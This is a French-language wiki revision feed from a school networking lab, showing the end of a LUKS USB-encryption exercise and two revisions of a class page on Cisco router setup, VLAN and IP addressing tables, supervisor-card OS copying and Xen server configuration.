cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Config_Postfix_mirage.png&diff=53929Fichier:Config Postfix mirage.png2020-11-20T08:10:59Z<p>Aglaine : </p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&diff=53927TP sysres IMA2a5 2020/20212020-11-20T07:40:31Z<p>Aglaine : /* IP des VMs */</p>
<hr />
<div>== Introduction ==<br />
<br />
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.<br />
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]<br />
<br />
== Objectif du projet ==<br />
<br />
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. <br />
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.<br />
<br />
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.<br />
<br />
== Répartition des binômes ==<br />
<br />
{| class="wikitable"<br />
! Cahier !! Elèves <br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]<br />
| SAWICZ Lionel<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]<br />
| HERBOMEL Guillaume<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]<br />
| CRAMETTE Samuel<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]<br />
| AVEZ Thibaut<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]<br />
| GLAINE Alexandre<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]<br />
| VITTECOQ Thomas<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]<br />
| CHENU Léna <br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]<br />
| COULON Nathan<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]<br />
| DJAMBA Crispin<br />
|}<br />
<br />
== Description des connexions ==<br />
Pour ce TP nous avons à notre disposition :<br />
<br />
{| class="wikitable"<br />
!Désignation !! Référence !! Autre !! Connexion<br />
|-<br />
|Routeur<br />
|6509<br />
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga<br />
|Connecté au réseau de Polytech pour accéder à internet via RENATER<br />
|-<br />
|Commutateur Cisco<br />
|3560 E<br />
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur<br />
|Connecté au réseau de Polytech via la prise SR52-3/K16 <br />
|-<br />
|Commutateur Cisco<br />
|ISR 4331<br />
|Utilisé comme portail dérobé en cas de défaillance du 3560E<br />
|Connecté au SDSL connecter via la prise SR52-3/L04,<br />
|-<br />
|Serveur de virtualisation<br />
|R540<br />
|Abrite les machines virtuelles<br />
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet<br />
|}<br />
<br />
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.<br />
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.<br />
<br />
== Architecture matérielle ==<br />
<br />
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : <br />
<br />
=== Architecture matérielle Optimale ===<br />
<br />
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]<br />
<br />
=== Architecture matérielle Réelle ===<br />
<br />
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : <br />
<br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]<br />
<br />
=== Architecture Réseau ===<br />
<br />
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]<br />
<br />
== Table d'adressage IP ==<br />
<br />
=== Table du vlan1 ===<br />
<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP<br />
|-<br />
|6509<br />
|10.60.0.1<br />
|-<br />
|3560 E<br />
|10.60.0.2<br />
|-<br />
|Mask<br />
|255.255.255.0<br />
|}<br />
<br />
=== Table du vlan2 ===<br />
<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP !! nom VM<br />
|-<br />
|6509<br />
|193.48.57.161<br />
|X<br />
|-<br />
|3560 E<br />
|193.48.57.162<br />
|X<br />
|-<br />
|routeur virtuel<br />
|193.48.57.163<br />
|X<br />
|-<br />
|Lionel<br />
|193.48.57.164<br />
|Rafale<br />
|-<br />
|Guillaume<br />
|193.48.57.165<br />
|Concorde<br />
|-<br />
|Samuel<br />
|193.48.57.166<br />
|Blackbird<br />
|-<br />
|Thibaut<br />
|193.48.57.167<br />
|Falcon<br />
|-<br />
|Alexandre<br />
|193.48.57.168<br />
|Mirage<br />
|-<br />
|Thomas<br />
|193.48.57.169<br />
|Alpha_jet<br />
|-<br />
|Crispin<br />
|193.48.57.170<br />
|NightHawk<br />
|-<br />
|Léna<br />
|193.48.57.171<br />
|hawker<br />
|-<br />
|Nathan<br />
|193.48.57.172<br />
|Boeing<br />
|-<br />
|ISR<br />
|193.48.57.173/28<br />
|X<br />
|-<br />
|Mask<br />
|255.255.255.240<br />
|X<br />
|-<br />
|}<br />
<br />
=== Table du vlan130 ===<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP<br />
|-<br />
|6509<br />
|192.168.222.2<br />
|-<br />
|3560 E<br />
|192.168.222.1<br />
|-<br />
|Mask<br />
|255.255.255.248<br />
|}<br />
<br />
=== Table des vlan ===<br />
<br />
{| class="wikitable"<br />
!Nom !! Vlan <br />
|-<br />
|Lionel<br />
|Vlan3<br />
|-<br />
|Guillaume<br />
|Vlan4<br />
|-<br />
|Samuel<br />
|Vlan5<br />
|-<br />
|Thibaut<br />
|Vlan6<br />
|-<br />
|Alexandre<br />
|Vlan7<br />
|-<br />
|Thomas<br />
|Vlan8<br />
|-<br />
|Crispin<br />
|Vlan9<br />
|-<br />
|Léna<br />
|Vlan10<br />
|-<br />
|Nathan<br />
|Vlan11<br />
|-<br />
|}<br />
<br />
=== Table générale ===<br />
<br />
{| class="wikitable"<br />
! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel<br />
|-<br />
|Administration<br />
|Vlan1<br />
|10.60.0.0/24<br />
|<br />
|10.60.0.1<br />
|10.60.0.2<br />
|<br />
|-<br />
|Xen<br />
|Vlan2<br />
|193.48.57.160/28<br />
|2001:660:4401:60a2::0/64<br />
|193.48.57.161<br />
|193.48.57.162<br />
|193.48.57.163<br />
|-<br />
|Groupe 1<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 2<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 3<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 4<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 5<br />
|Vlan7<br />
|193.48.57.168/24<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 6<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 7<br />
|Vlan10<br />
|10.60.7.0/24<br />
|2001:660:4401:60aa::0/64<br />
|10.60.7.1<br />
|10.60.7.2<br />
|10.60.7.3<br />
|-<br />
|Groupe 8<br />
|Vlan11<br />
|X<br />
|2001:660:4401:60a2::4/64<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 9<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Interconnexion<br />
|X<br />
|X<br />
|Router1 : X // Router2 : X // Ecole : X<br />
|X<br />
|X<br />
|<br />
|-<br />
|}<br />
<br />
=== IP des VMs ===<br />
<br />
{| class="wikitable"<br />
!Nom de la VM !! IP de la VM<br />
|-<br />
|mirage<br />
|193.48.57.168/24<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|}<br />
<br />
=== Cartes de supervision ===<br />
<br />
Problématique: Configuration et installation des OS des cartes de supervision<br />
<br />
Etape 1: Vérifier l'existence d'OS sur les deux cartes. <br />
<br />
<br />
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. <br />
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)<br />
-> 2ème carte: OS absent <br />
<br />
Etape 2: Copie du fichier d'OS<br />
<br />
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]<br />
<br />
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.<br />
<br />
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:<br />
<br />
Etape 3: Reboot de la deuxième carte<br />
<br />
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. <br />
<br />
boot<br />
sh ver <br />
<br />
Etape 4: Vérification de la redondance<br />
<br />
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active<br />
<br />
== Configuration machine Xen sur Capbreton ==<br />
<br />
- Connexion de l'écran, clavier, souris sur le serveur <br />
- Commande "lbslk" permettant de voir les partitions sur la machine<br />
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.<br />
Il y a 1 disque SDA avec 800go de libre.<br />
Deux disques plus lent sont utilisé pour LVM.<br />
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.<br />
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer<br />
<br />
Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:<br />
ethtool -p eth7<br />
ethtool -p eth1<br />
<br />
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021&diff=53926TP sysres IMA2a5 2020/20212020-11-20T07:40:19Z<p>Aglaine : /* IP des VMs */</p>
<hr />
<div>== Introduction ==<br />
<br />
Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.<br />
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]<br />
<br />
== Objectif du projet ==<br />
<br />
La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle. <br />
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.<br />
<br />
D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.<br />
<br />
== Répartition des binômes ==<br />
<br />
{| class="wikitable"<br />
! Cahier !! Elèves <br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]<br />
| SAWICZ Lionel<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]<br />
| HERBOMEL Guillaume<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]<br />
| CRAMETTE Samuel<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]<br />
| AVEZ Thibaut<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]<br />
| GLAINE Alexandre<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]<br />
| VITTECOQ Thomas<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]<br />
| CHENU Léna <br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]<br />
| COULON Nathan<br />
|-<br />
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]<br />
| DJAMBA Crispin<br />
|}<br />
<br />
== Description des connexions ==<br />
Pour ce TP nous avons à notre disposition :<br />
<br />
{| class="wikitable"<br />
!Désignation !! Référence !! Autre !! Connexion<br />
|-<br />
|Routeur<br />
|6509<br />
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga<br />
|Connecté au réseau de Polytech pour accéder à internet via RENATER<br />
|-<br />
|Commutateur Cisco<br />
|3560 E<br />
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur<br />
|Connecté au réseau de Polytech via la prise SR52-3/K16 <br />
|-<br />
|Commutateur Cisco<br />
|ISR 4331<br />
|Utilisé comme portail dérobé en cas de défaillance du 3560E<br />
|Connecté au SDSL connecter via la prise SR52-3/L04,<br />
|-<br />
|Serveur de virtualisation<br />
|R540<br />
|Abrite les machines virtuelles<br />
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet<br />
|}<br />
<br />
NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.<br />
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.<br />
<br />
== Architecture matérielle ==<br />
<br />
Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous : <br />
<br />
=== Architecture matérielle Optimale ===<br />
<br />
[[Fichier:Architecture-MA2a5-2020_2021.JPG]]<br />
<br />
=== Architecture matérielle Réelle ===<br />
<br />
Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante : <br />
<br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]<br />
<br />
=== Architecture Réseau ===<br />
<br />
[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]<br />
<br />
== Table d'adressage IP ==<br />
<br />
=== Table du vlan1 ===<br />
<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP<br />
|-<br />
|6509<br />
|10.60.0.1<br />
|-<br />
|3560 E<br />
|10.60.0.2<br />
|-<br />
|Mask<br />
|255.255.255.0<br />
|}<br />
<br />
=== Table du vlan2 ===<br />
<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP !! nom VM<br />
|-<br />
|6509<br />
|193.48.57.161<br />
|X<br />
|-<br />
|3560 E<br />
|193.48.57.162<br />
|X<br />
|-<br />
|routeur virtuel<br />
|193.48.57.163<br />
|X<br />
|-<br />
|Lionel<br />
|193.48.57.164<br />
|Rafale<br />
|-<br />
|Guillaume<br />
|193.48.57.165<br />
|Concorde<br />
|-<br />
|Samuel<br />
|193.48.57.166<br />
|Blackbird<br />
|-<br />
|Thibaut<br />
|193.48.57.167<br />
|Falcon<br />
|-<br />
|Alexandre<br />
|193.48.57.168<br />
|Mirage<br />
|-<br />
|Thomas<br />
|193.48.57.169<br />
|Alpha_jet<br />
|-<br />
|Crispin<br />
|193.48.57.170<br />
|NightHawk<br />
|-<br />
|Léna<br />
|193.48.57.171<br />
|hawker<br />
|-<br />
|Nathan<br />
|193.48.57.172<br />
|Boeing<br />
|-<br />
|ISR<br />
|193.48.57.173/28<br />
|X<br />
|-<br />
|Mask<br />
|255.255.255.240<br />
|X<br />
|-<br />
|}<br />
<br />
=== Table du vlan130 ===<br />
{| class="wikitable"<br />
!Nom de l'appareil !! IP<br />
|-<br />
|6509<br />
|192.168.222.2<br />
|-<br />
|3560 E<br />
|192.168.222.1<br />
|-<br />
|Mask<br />
|255.255.255.248<br />
|}<br />
<br />
=== Table des vlan ===<br />
<br />
{| class="wikitable"<br />
!Nom !! Vlan <br />
|-<br />
|Lionel<br />
|Vlan3<br />
|-<br />
|Guillaume<br />
|Vlan4<br />
|-<br />
|Samuel<br />
|Vlan5<br />
|-<br />
|Thibaut<br />
|Vlan6<br />
|-<br />
|Alexandre<br />
|Vlan7<br />
|-<br />
|Thomas<br />
|Vlan8<br />
|-<br />
|Crispin<br />
|Vlan9<br />
|-<br />
|Léna<br />
|Vlan10<br />
|-<br />
|Nathan<br />
|Vlan11<br />
|-<br />
|}<br />
<br />
=== Table générale ===<br />
<br />
{| class="wikitable"<br />
! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel<br />
|-<br />
|Administration<br />
|Vlan1<br />
|10.60.0.0/24<br />
|<br />
|10.60.0.1<br />
|10.60.0.2<br />
|<br />
|-<br />
|Xen<br />
|Vlan2<br />
|193.48.57.160/28<br />
|2001:660:4401:60a2::0/64<br />
|193.48.57.161<br />
|193.48.57.162<br />
|193.48.57.163<br />
|-<br />
|Groupe 1<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 2<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 3<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 4<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 5<br />
|Vlan7<br />
|193.48.57.168/24<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 6<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 7<br />
|Vlan10<br />
|10.60.7.0/24<br />
|2001:660:4401:60aa::0/64<br />
|10.60.7.1<br />
|10.60.7.2<br />
|10.60.7.3<br />
|-<br />
|Groupe 8<br />
|Vlan11<br />
|X<br />
|2001:660:4401:60a2::4/64<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Groupe 9<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|X<br />
|-<br />
|Interconnexion<br />
|X<br />
|X<br />
|Router1 : X // Router2 : X // Ecole : X<br />
|X<br />
|X<br />
|<br />
|-<br />
|}<br />
<br />
=== IP des VMs ===<br />
<br />
{| class="wikitable"<br />
!Nom de la VM !! IP de la VM<br />
|-<br />
|mirage<br />
|193.48.57.168/28<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|X<br />
|X<br />
|-<br />
|}<br />
<br />
=== Cartes de supervision ===<br />
<br />
Problématique: Configuration et installation des OS des cartes de supervision<br />
<br />
Etape 1: Vérifier l'existence d'OS sur les deux cartes. <br />
<br />
<br />
Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes. <br />
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)<br />
-> 2ème carte: OS absent <br />
<br />
Etape 2: Copie du fichier d'OS<br />
<br />
[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]<br />
<br />
Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.<br />
<br />
copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:<br />
<br />
Etape 3: Reboot de la deuxième carte<br />
<br />
Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur. <br />
<br />
boot<br />
sh ver <br />
<br />
Etape 4: Vérification de la redondance<br />
<br />
La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active<br />
<br />
== Configuration machine Xen sur Capbreton ==<br />
<br />
- Connexion de l'écran, clavier, souris sur le serveur <br />
- Commande "lbslk" permettant de voir les partitions sur la machine<br />
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.<br />
Il y a 1 disque SDA avec 800go de libre.<br />
Deux disques plus lent sont utilisé pour LVM.<br />
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.<br />
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer<br />
<br />
Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:<br />
ethtool -p eth7<br />
ethtool -p eth1<br />
<br />
On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre</div>Aglaine